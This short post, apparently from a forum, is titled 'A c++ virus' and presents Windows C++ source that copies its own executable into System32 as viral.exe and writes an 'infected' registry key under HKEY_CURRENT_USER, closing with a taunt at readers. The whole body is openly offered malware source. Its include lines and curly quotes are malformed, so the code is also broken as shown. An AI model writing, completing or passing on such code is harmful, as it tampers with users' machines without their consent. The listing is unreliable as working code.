A c++ virus

#include windows.h
#include string.h
char windir[MAX_PATH];
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char pathname[256];
HKEY hKey;
GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);
strcat(windir, “\\System32\\viral.exe”);
CopyFile(pathname,windir,0);
unsigned char reg[10] = “infected”;
RegCreateKey(HKEY_CURRENT_USER,”Software\\retro”,&hKey);
RegSetValueEx(hKey,”virus”,0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);
}
thare, ya happy ya frikin bums